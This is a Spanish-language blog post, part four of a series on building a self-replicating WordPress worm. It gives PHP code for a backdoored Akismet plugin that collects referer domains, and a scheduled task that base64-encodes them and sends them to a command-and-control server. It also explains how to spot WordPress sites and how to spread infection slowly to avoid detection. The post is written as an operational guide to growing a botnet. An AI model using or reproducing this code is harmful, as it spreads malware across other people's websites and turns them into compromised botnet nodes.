sábado, 11 de octubre de 2014

The Walking WordPress [IV]: autoreplicación

¡Saludos!

      En la última parte vimos cómo construir los exploits a partir de wp_remote_post. Con todo lo anterior ya podríamos utilizar la botnet para atacar listados de URLs que nosotros tengamos a mano (por ejemplo de clasificar el top 1 millon de Alexa) símplemente cogiendo la lista, diviéndola en partes, y distribuyendola entre todos los zombies.  En este capítulo (penúltimo de la serie) veremos cómo es la "autoreplicación" -que es la característica esencial de cualquier worm-.


Recogiendo los referer

    ¿Cómo puede el worm obtener la URLs  las que va a atacar -a parte de las que nosotros queramos suministrarle- ? La forma más sencilla es recopilarlas a partir de las cabeceras referer que se mandan cuando un visitante entra a la web desde un link alojado en otra web. ¿Y cómo podemos obtenerlas?

    Aquí es donde ya empezamos a cuadrar las piezas del puzzle que hemos ido formando días atrás. Al backdoorizar Akismet tenemos acceso a los "hooks", por lo que deberemos de establecer uno que permita lanzar la función encargada de recoger el referer cada vez que un visitante entre al WordPress infectado. Las URLs las almacenaremos en la tabla wp_options. Lo de arriba descrito se traduciría en -insisto, si se ve mal por el formato que da el blog, identarlo en un editor de texto para hacerlo legible-:




add_action('wp_loaded', 'catch_referer');
function catch_referer() {
$ref_domain = parse_url($_SERVER['HTTP_REFERER']);
$target = $ref_domain['host'];
$old_value = get_option("wp_referer_list");
$list = explode("||||", $old_value);
$check = FALSE;
foreach ($list as $ref) {
if ($ref == $target) {
$check = TRUE;
}
}
if ($check !== TRUE) {
$new_value = $old_value."||||".$target;
update_option("wp_referer_list", $new_value);
} }



      El hook que estamos usando como disparador es "wp_loaded", que lanzará a la función catch_referer() cada vez que se cargue la web. Despues extraemos la URL del referer, comprobamos si esa URL la teníamos ya almacenada, y si no es así la guardamos.


Clasificando objetivos potenciales

       No todo el mundo que entre a nuestra web lo hará desde un WordPress, por lo que antes de ponernos a lanzar la batería de exploits a lo loco -consumiendo recursos que podrían delatarnos- deberemos de establecer cuales de esas URLs son WordPress. Por mi parte creo que lo mejor es declinar esta tarea a un servidor externo -puede ser el propio panel de control el encargado, u otro PHP diferente- que centralice los resultados y distribuya los posibles objetivos de forma equitativa entre todos los zombies. De esta forma evitamos duplicidades y simplificamos el proceso.

     Lo que haremos será, desde el akismet backdoorizado, establecer una tarea programada para cada 12 horas (utilizando la API de WordPress nuevamente) consistente en mandar el listado de URLs a quien se vaya a encargar de extraer qué URLs pertenecen a WordPress (repito, puede ser el propio panel de control) y vaciar el listado. Así cada 12 horas el contador se pondrá a cero.

add_action( 'send_referers', 'send_ref' );wp_schedule_event( time(), 'twicedaily', 'send_referers' );function send_ref() { $ref_list = get_option("wp_referer_list"); $response = wp_remote_get($cc."?filter_refs=".base64_encode($ref_list)); update_option("wp_referer_list", "");}
   Si hemos elegido asignar esta labor al panel de control, simplemente deberemos de comprobar cuales de esas URLs han sido atacadas ya. Mandaremos una petición GET a aquellas que no lo hayan sido, y en el código fuente buscaremos archivos .js que aparecen en WordPress para poder determinar si se trata de un WordPress. En mi caso he obtado por escoger los que utiliza la herramienta plecost:

wp-admin/js/common.js
wp-includes/js/jquery/jquery.js
wp-includes/js/wp-lists.js
wp-includes/js/plupload/plupload.js
wp-includes/css/admin-bar.css

  Una vez que sabemos cuales son WordPress, distribuimos cada X horas el listado entre los zombies y vaciamos.

Infectando nuevos WordPress

      Para evitar consumir recursos en exceso y levantar sospechas, los zombies atacaran cada hora sólo una fracción de la lista, reduciendo ésta paulatinamente. En el capítulo anterior vimos cómo se lanzaba la batería de exploits contra los objetivos. Lo único que deberemos de añadir es una tarea programada para cada hora (tal y como se ve más arriba), y establecer la función extract_targets() -si no os acordais mirad el final del capitulo anterior- que será la encargada de coger del listado de objetivos unas pocas URLs.

    Si un exploit triunfa y consigue subir el worm a un nuevo WordPress, le mandaremos una petición GET para que inicie el "first stage" y se inicie de nuevo el círculo -vuelta a recordar: al final del capítulo II en el código veíamos como la primera etapa se iniciaba al hacer un "?do=info"-.


   Con este capítulo ponemos punto y final a la esencia del worm. En el siguiente símplemente mostraré ejemplos de ataques que podemos realizar con la botnet formada.


Byt3z!


5 0verl0ad Labs: The Walking WordPress [IV]: autoreplicación ¡Saludos!       En la última parte vimos cómo construir los exploits a partir de wp_remote_post. Con todo lo anterior ya podríamos utiliza...
< >